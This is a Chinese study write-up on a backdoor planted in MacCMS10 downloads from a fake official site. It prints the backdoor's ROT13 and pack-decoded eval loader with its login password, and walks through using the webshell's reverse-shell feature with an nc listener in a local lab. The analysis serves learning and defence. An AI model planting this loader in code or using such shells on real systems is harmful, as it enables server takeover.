(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)
該復現參考網絡中的文章,該漏洞復現僅僅是為了學習交流,嚴禁非法使用!!!
一、事件背景
Maccms網站:基於PHP+MYSQL環境下運行的完善而強大的快速建站系統,最近Tools上有人曝出有一個冒充了蘋果CMS官網的網站提供的MacCMS10存在后門,冒充網站http://www.maccmsv10.com/download.html
cms:內容管理系統
二、漏洞分析
1.在冒充的“蘋果官網”下載MacCMS10版本后,打開源碼,找到maccms10.zip\extend\Qcloud\Sms\Sms.php、maccms10.zip\extend\upyun\src\Upyun\Api\Format.php
- 其中Smsphp和Format.php的后門木馬是一樣的,找出一個進行分析
1 <?php 2 error_reporting(E_ERROR);//報錯 3 @ini_set('display_errors','Off');//做初始化環境 4 @ini_set('max_execution_time',20000); 5 @ini_set('memory_limit','256M'); 6 header("content-Type: text/html; charset=utf-8");//設置編碼 7 $password = "0d41c75e2ab34a3740834cdd7e066d90";//32位,MD5加密的密碼,解密后為:WorldFilledWithLove 8 function s(){ 9 $str = "編碼之后的惡意代碼"; 10 $str = str_rot13($str);//對惡意代碼進行ROT13編碼 11 m($str); 12 } 13 function m($str){ 14 global $password;//全局變量 15 $jj = ''; 16 eval($jj.pack('H*',$str).$jj);//對混淆的PHP代碼進行解碼(使用的是pack函數),解碼之后的代碼進行eval函數的解析 17 } 18 s();//調用s函數 19 ?>
- 執行下面的代碼即可看到PHP+HTML編寫的惡意代碼
1 <?php 2 $str = "編碼之后的惡意代碼"; 3 $str = str_rot13($str); 4 echo pack('H*',$str);
2.將網站源碼移動到PhpStudy的Web根目錄下,打開PhpStudy,開啟Apache服務,使用密碼訪問
http://127.0.0.1/maccms10/extend/upyun/src/Upyun/Api/Format.php或http://127.0.0.1/maccms10/extend/Qcloud/Sms/Sms.php,可以看到以下界面,使用解密之后的密碼WorldFilledWithLove進行登錄
- 這里我單獨將有后門的文件直接移動到了Web根目錄下,訪問的地址就為127.0.0.1/Format.php
- 點擊#Login進入以下界面
3.由上圖可以看到,這是個大馬,即有很多功能的木馬,如,執行SQL、執行命令、反彈端口等,對其中幾個功能進行測試
4.測試反彈端口,使用Kali虛擬機作為攻擊者,本地機作為靶機
- 填完反彈地址和端口后不要點擊反彈,反彈地址為Kali的IP
5.打開Kali,使用NC監聽后,點擊反彈
1 nc -lvvp 7777 開啟監聽端口7777 2 l 本地 3 vv 詳細信息 4 p 端口
- 點擊反彈后,就可以獲得靶機的shell,輸入系統命令進行測試,復現成功!!!
- 反彈shell:將目標機上的終端或解析器或者shell反彈到攻擊者的電腦中,需要攻擊者提前監聽端口
6.使用NC監聽,不穩定,很容易關閉監聽,這時再次打開瀏覽器,就會發現報錯信息,這個就是error_reporting(E_ERROR);命令所報的錯誤